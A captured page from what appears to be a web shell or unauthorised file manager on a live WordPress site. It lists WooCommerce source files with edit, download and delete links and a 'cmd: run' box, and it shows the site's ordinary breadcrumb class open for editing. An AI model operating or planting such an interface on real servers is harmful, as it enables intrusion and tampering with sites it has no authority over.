/
var
/
www
/
vhosts
/
ihelp.ro
/
ajutam.ro
/
wp-content
/
plugins
/
woocommerce
/
includes
/
/var/www/vhosts/ihelp.ro/ajutam.ro/wp-content/plugins/woocommerce/includes
mkdir
upload
Name
Size
Mode
Actions
abstracts/
-
0755
rm
admin/
-
0755
rm
blocks/
-
0755
rm
cli/
-
0755
rm
customizer/
-
0755
rm
data-stores/
-
0755
rm
emails/
-
0755
rm
export/
-
0755
rm
gateways/
-
0755
rm
import/
-
0755
rm
integrations/
-
0755
rm
interfaces/
-
0755
rm
legacy/
-
0755
rm
libraries/
-
0755
rm
log-handlers/
-
0755
rm
payment-tokens/
-
0755
rm
queue/
-
0755
rm
rest-api/
-
0755
rm
shipping/
-
0755
rm
shortcodes/
-
0755
rm
theme-support/
-
0755
rm
tracks/
-
0755
rm
traits/
-
0755
rm
walkers/
-
0755
rm
wccom-site/
-
0755
rm
widgets/
-
0755
rm
class-wc-ajax.php
102158
0644
edit
dl
rm
class-wc-api.php
5105
0644
edit
dl
rm
class-wc-auth.php
11882
0644
edit
dl
rm
class-wc-autoloader.php
2810
0644
edit
dl
rm
class-wc-background-emailer.php
4685
0644
edit
dl
rm
class-wc-background-updater.php
3535
0644
edit
dl
rm
class-wc-breadcrumb.php
9722
0644
edit
dl
rm
class-wc-cache-helper.php
12063
0644
edit
dl
rm
class-wc-cart-fees.php
3492
0644
edit
dl
rm
class-wc-cart-session.php
15032
0644
edit
dl
rm
class-wc-cart-totals.php
28823
0644
edit
dl
rm
class-wc-cart.php
66520
0644
edit
dl
rm
class-wc-checkout.php
45081
0644
edit
dl
rm
class-wc-cli.php
1190
0644
edit
dl
rm
class-wc-comments.php
15888
0644
edit
dl
rm
class-wc-countries.php
47172
0644
edit
dl
rm
class-wc-coupon.php
34709
0644
edit
dl
rm
class-wc-customer-download-log.php
3452
0644
edit
dl
rm
class-wc-customer-download.php
10702
0644
edit
dl
rm
class-wc-customer.php
29606
0644
edit
dl
rm
class-wc-data-exception.php
1321
0644
edit
dl
rm
class-wc-data-store.php
5989
0644
edit
dl
rm
class-wc-datetime.php
2251
0644
edit
dl
rm
class-wc-deprecated-action-hooks.php
7042
0644
edit
dl
rm
class-wc-deprecated-filter-hooks.php
6989
0644
edit
dl
rm
class-wc-discounts.php
33443
0644
edit
dl
rm
class-wc-download-handler.php
24674
0644
edit
dl
rm
class-wc-emails.php
23016
0644
edit
dl
rm
class-wc-embed.php
4284
0644
edit
dl
rm
class-wc-form-handler.php
45034
0644
edit
dl
rm
class-wc-frontend-scripts.php
26531
0644
edit
dl
rm
class-wc-geo-ip.php
31141
0644
edit
dl
rm
class-wc-geolite-integration.php
2036
0644
edit
dl
rm
class-wc-geolocation.php
10588
0644
edit
dl
rm
class-wc-https.php
4430
0644
edit
dl
rm
class-wc-install.php
63742
0644
edit
dl
rm
class-wc-integrations.php
1308
0644
edit
dl
rm
class-wc-log-levels.php
2600
0644
edit
dl
rm
class-wc-logger.php
8975
0644
edit
dl
rm
class-wc-meta-data.php
2234
0644
edit
dl
rm
class-wc-order-factory.php
3194
0644
edit
dl
rm
class-wc-order-item-coupon.php
4175
0644
edit
dl
rm
class-wc-order-item-fee.php
8972
0644
edit
dl
rm
class-wc-order-item-meta.php
5942
0644
edit
dl
rm
class-wc-order-item-product.php
13453
0644
edit
dl
rm
class-wc-order-item-shipping.php
7969
0644
edit
dl
rm
class-wc-order-item-tax.php
6644
0644
edit
dl
rm
class-wc-order-item.php
11036
0644
edit
dl
rm
class-wc-order-query.php
2615
0644
edit
dl
rm
class-wc-order-refund.php
5000
0644
edit
dl
rm
class-wc-order.php
63186
0644
edit
dl
rm
class-wc-payment-gateways.php
5545
0644
edit
dl
rm
class-wc-payment-tokens.php
6044
0644
edit
dl
rm
class-wc-post-data.php
20740
0644
edit
dl
rm
class-wc-post-types.php
28787
0644
edit
dl
rm
class-wc-privacy-background-process.php
1707
0644
edit
dl
rm
class-wc-privacy-erasers.php
13934
0644
edit
dl
rm
class-wc-privacy-exporters.php
15044
0644
edit
dl
rm
class-wc-privacy.php
15896
0644
edit
dl
rm
class-wc-product-attribute.php
7137
0644
edit
dl
rm
class-wc-product-download.php
7334
0644
edit
dl
rm
class-wc-product-external.php
4955
0644
edit
dl
rm
class-wc-product-factory.php
3668
0644
edit
dl
rm
class-wc-product-grouped.php
5349
0644
edit
dl
rm
class-wc-product-query.php
2231
0644
edit
dl
rm
class-wc-product-simple.php
1938
0644
edit
dl
rm
class-wc-product-variable.php
22022
0644
edit
dl
rm
class-wc-product-variation.php
17271
0644
edit
dl
rm
class-wc-query.php
32361
0644
edit
dl
rm
class-wc-rate-limiter.php
4100
0644
edit
dl
rm
class-wc-regenerate-images-request.php
8411
0644
edit
dl
rm
class-wc-regenerate-images.php
15653
0644
edit
dl
rm
class-wc-register-wp-admin-settings.php
5171
0644
edit
dl
rm
class-wc-rest-authentication.php
19988
0644
edit
dl
rm
class-wc-rest-exception.php
276
0644
edit
dl
rm
class-wc-session-handler.php
11967
0644
edit
dl
rm
class-wc-shipping-rate.php
5628
0644
edit
dl
rm
class-wc-shipping-zone.php
13392
0644
edit
dl
rm
class-wc-shipping-zones.php
4106
0644
edit
dl
rm
class-wc-shipping.php
11846
0644
edit
dl
rm
class-wc-shortcodes.php
17648
0644
edit
dl
rm
class-wc-structured-data.php
17733
0644
edit
dl
rm
class-wc-tax.php
37889
0644
edit
dl
rm
class-wc-template-loader.php
20873
0644
edit
dl
rm
class-wc-tracker.php
23886
0644
edit
dl
rm
class-wc-validation.php
5975
0644
edit
dl
rm
class-wc-webhook.php
30690
0644
edit
dl
rm
class-woocommerce.php
35104
0644
edit
dl
rm
wc-account-functions.php
13226
0644
edit
dl
rm
wc-attribute-functions.php
21110
0644
edit
dl
rm
wc-cart-functions.php
17568
0644
edit
dl
rm
wc-conditional-functions.php
12780
0644
edit
dl
rm
wc-core-functions.php
80021
0644
edit
dl
rm
wc-coupon-functions.php
2741
0644
edit
dl
rm
wc-deprecated-functions.php
33485
0644
edit
dl
rm
wc-formatting-functions.php
43985
0644
edit
dl
rm
wc-notice-functions.php
7677
0644
edit
dl
rm
wc-order-functions.php
34892
0644
edit
dl
rm
wc-order-item-functions.php
5153
0644
edit
dl
rm
wc-page-functions.php
7087
0644
edit
dl
rm
wc-product-functions.php
49279
0644
edit
dl
rm
wc-rest-functions.php
11147
0644
edit
dl
rm
wc-stock-functions.php
13532
0644
edit
dl
rm
wc-template-functions.php
117829
0644
edit
dl
rm
wc-template-hooks.php
12681
0644
edit
dl
rm
wc-term-functions.php
21113
0644
edit
dl
rm
wc-update-functions.php
69699
0644
edit
dl
rm
wc-user-functions.php
27242
0644
edit
dl
rm
wc-webhook-functions.php
5731
0644
edit
dl
rm
wc-widget-functions.php
2063
0644
edit
dl
rm
Edit:
/var/www/vhosts/ihelp.ro/ajutam.ro/wp-content/plugins/woocommerce/includes/class-wc-breadcrumb.php
(9722B)
<?php /** * WC_Breadcrumb class. * * @package WooCommerce\Classes * @version 2.3.0 */ defined( 'ABSPATH' ) || exit; /** * Breadcrumb class. */ class WC_Breadcrumb { /** * Breadcrumb trail. * * @var array */ protected $crumbs = array(); /** * Add a crumb so we don't get lost. * * @param string $name Name. * @param string $link Link. */ public function add_crumb( $name, $link = '' ) { $this->crumbs[] = array( wp_strip_all_tags( $name ), $link, ); } /** * Reset crumbs. */ public function reset() { $this->crumbs = array(); } /** * Get the breadcrumb. * * @return array */ public function get_breadcrumb() { return apply_filters( 'woocommerce_get_breadcrumb', $this->crumbs, $this ); } /** * Generate breadcrumb trail. * * @return array of breadcrumbs */ public function generate() { $conditionals = array( 'is_home', 'is_404', 'is_attachment', 'is_single', 'is_product_category', 'is_product_tag', 'is_shop', 'is_page', 'is_post_type_archive', 'is_category', 'is_tag', 'is_author', 'is_date', 'is_tax', ); if ( ( ! is_front_page() && ! ( is_post_type_archive() && intval( get_option( 'page_on_front' ) ) === wc_get_page_id( 'shop' ) ) ) || is_paged() ) { foreach ( $conditionals as $conditional ) { if ( call_user_func( $conditional ) ) { call_user_func( array( $this, 'add_crumbs_' . substr( $conditional, 3 ) ) ); break; } } $this->search_trail(); $this->paged_trail(); return $this->get_breadcrumb(); } return array(); } /** * Prepend the shop page to shop breadcrumbs. */ protected function prepend_shop_page() { $permalinks = wc_get_permalink_structure(); $shop_page_id = wc_get_page_id( 'shop' ); $shop_page = get_post( $shop_page_id ); // If permalinks contain the shop page in the URI prepend the breadcrumb with shop. if ( $shop_page_id && $shop_page && isset( $permalinks['product_base'] ) && strstr( $permalinks['product_base'], '/' . $shop_page->post_name ) && intval( get_option( 'page_on_front' ) ) !== $shop_page_id ) { $this->add_crumb( get_the_title( $shop_page ), get_permalink( $shop_page ) ); } } /** * Is home trail.. */ protected function add_crumbs_home() { $this->add_crumb( single_post_title( '', false ) ); } /** * 404 trail. */ protected function add_crumbs_404() { $this->add_crumb( __( 'Error 404', 'woocommerce' ) ); } /** * Attachment trail. */ protected function add_crumbs_attachment() { global $post; $this->add_crumbs_single( $post->post_parent, get_permalink( $post->post_parent ) ); $this->add_crumb( get_the_title(), get_permalink() ); } /** * Single post trail. * * @param int $post_id Post ID. * @param string $permalink Post permalink. */ protected function add_crumbs_single( $post_id = 0, $permalink = '' ) { if ( ! $post_id ) { global $post; } else { $post = get_post( $post_id ); // WPCS: override ok. } if ( ! $permalink ) { $permalink = get_permalink( $post ); } if ( 'product' === get_post_type( $post ) ) { $this->prepend_shop_page(); $terms = wc_get_product_terms( $post->ID, 'product_cat', apply_filters( 'woocommerce_breadcrumb_product_terms_args', array( 'orderby' => 'parent', 'order' => 'DESC', ) ) ); if ( $terms ) { $main_term = apply_filters( 'woocommerce_breadcrumb_main_term', $terms[0], $terms ); $this->term_ancestors( $main_term->term_id, 'product_cat' ); $this->add_crumb( $main_term->name, get_term_link( $main_term ) ); } } elseif ( 'post' !== get_post_type( $post ) ) { $post_type = get_post_type_object( get_post_type( $post ) ); if ( ! empty( $post_type->has_archive ) ) { $this->add_crumb( $post_type->labels->singular_name, get_post_type_archive_link( get_post_type( $post ) ) ); } } else { $cat = current( get_the_category( $post ) ); if ( $cat ) { $this->term_ancestors( $cat->term_id, 'category' ); $this->add_crumb( $cat->name, get_term_link( $cat ) ); } } $this->add_crumb( get_the_title( $post ), $permalink ); } /** * Page trail. */ protected function add_crumbs_page() { global $post; if ( $post->post_parent ) { $parent_crumbs = array(); $parent_id = $post->post_parent; while ( $parent_id ) { $page = get_post( $parent_id ); $parent_id = $page->post_parent; $parent_crumbs[] = array( get_the_title( $page->ID ), get_permalink( $page->ID ) ); } $parent_crumbs = array_reverse( $parent_crumbs ); foreach ( $parent_crumbs as $crumb ) { $this->add_crumb( $crumb[0], $crumb[1] ); } } $this->add_crumb( get_the_title(), get_permalink() ); $this->endpoint_trail(); } /** * Product category trail. */ protected function add_crumbs_product_category() { $current_term = $GLOBALS['wp_query']->get_queried_object(); $this->prepend_shop_page(); $this->term_ancestors( $current_term->term_id, 'product_cat' ); $this->add_crumb( $current_term->name, get_term_link( $current_term, 'product_cat' ) ); } /** * Product tag trail. */ protected function add_crumbs_product_tag() { $current_term = $GLOBALS['wp_query']->get_queried_object(); $this->prepend_shop_page(); /* translators: %s: product tag */ $this->add_crumb( sprintf( __( 'Products tagged “%s”', 'woocommerce' ), $current_term->name ), get_term_link( $current_term, 'product_tag' ) ); } /** * Shop breadcrumb. */ protected function add_crumbs_shop() { if ( intval( get_option( 'page_on_front' ) ) === wc_get_page_id( 'shop' ) ) { return; } $_name = wc_get_page_id( 'shop' ) ? get_the_title( wc_get_page_id( 'shop' ) ) : ''; if ( ! $_name ) { $product_post_type = get_post_type_object( 'product' ); $_name = $product_post_type->labels->name; } $this->add_crumb( $_name, get_post_type_archive_link( 'product' ) ); } /** * Post type archive trail. */ protected function add_crumbs_post_type_archive() { $post_type = get_post_type_object( get_post_type() ); if ( $post_type ) { $this->add_crumb( $post_type->labels->name, get_post_type_archive_link( get_post_type() ) ); } } /** * Category trail. */ protected function add_crumbs_category() { $this_category = get_category( $GLOBALS['wp_query']->get_queried_object() ); if ( 0 !== intval( $this_category->parent ) ) { $this->term_ancestors( $this_category->term_id, 'category' ); } $this->add_crumb( single_cat_title( '', false ), get_category_link( $this_category->term_id ) ); } /** * Tag trail. */ protected function add_crumbs_tag() { $queried_object = $GLOBALS['wp_query']->get_queried_object(); /* translators: %s: tag name */ $this->add_crumb( sprintf( __( 'Posts tagged “%s”', 'woocommerce' ), single_tag_title( '', false ) ), get_tag_link( $queried_object->term_id ) ); } /** * Add crumbs for date based archives. */ protected function add_crumbs_date() { if ( is_year() || is_month() || is_day() ) { $this->add_crumb( get_the_time( 'Y' ), get_year_link( get_the_time( 'Y' ) ) ); } if ( is_month() || is_day() ) { $this->add_crumb( get_the_time( 'F' ), get_month_link( get_the_time( 'Y' ), get_the_time( 'm' ) ) ); } if ( is_day() ) { $this->add_crumb( get_the_time( 'd' ) ); } } /** * Add crumbs for taxonomies */ protected function add_crumbs_tax() { $this_term = $GLOBALS['wp_query']->get_queried_object(); $taxonomy = get_taxonomy( $this_term->taxonomy ); $this->add_crumb( $taxonomy->labels->name ); if ( 0 !== intval( $this_term->parent ) ) { $this->term_ancestors( $this_term->term_id, $this_term->taxonomy ); } $this->add_crumb( single_term_title( '', false ), get_term_link( $this_term->term_id, $this_term->taxonomy ) ); } /** * Add a breadcrumb for author archives. */ protected function add_crumbs_author() { global $author; $userdata = get_userdata( $author ); /* translators: %s: author name */ $this->add_crumb( sprintf( __( 'Author: %s', 'woocommerce' ), $userdata->display_name ) ); } /** * Add crumbs for a term. * * @param int $term_id Term ID. * @param string $taxonomy Taxonomy. */ protected function term_ancestors( $term_id, $taxonomy ) { $ancestors = get_ancestors( $term_id, $taxonomy ); $ancestors = array_reverse( $ancestors ); foreach ( $ancestors as $ancestor ) { $ancestor = get_term( $ancestor, $taxonomy ); if ( ! is_wp_error( $ancestor ) && $ancestor ) { $this->add_crumb( $ancestor->name, get_term_link( $ancestor ) ); } } } /** * Endpoints. */ protected function endpoint_trail() { $action = isset( $_GET['action'] ) ? sanitize_text_field( wp_unslash( $_GET['action'] ) ) : ''; $endpoint = is_wc_endpoint_url() ? WC()->query->get_current_endpoint() : ''; $endpoint_title = $endpoint ? WC()->query->get_endpoint_title( $endpoint, $action ) : ''; if ( $endpoint_title ) { $this->add_crumb( $endpoint_title ); } } /** * Add a breadcrumb for search results. */ protected function search_trail() { if ( is_search() ) { /* translators: %s: search term */ $this->add_crumb( sprintf( __( 'Search results for “%s”', 'woocommerce' ), get_search_query() ), remove_query_arg( 'paged' ) ); } } /** * Add a breadcrumb for pagination. */ protected function paged_trail() { if ( get_query_var( 'paged' ) && 'subcategories' !== woocommerce_get_loop_display_mode() ) { /* translators: %d: page number */ $this->add_crumb( sprintf( __( 'Page %d', 'woocommerce' ), get_query_var( 'paged' ) ) ); } } }
Save
cmd:
run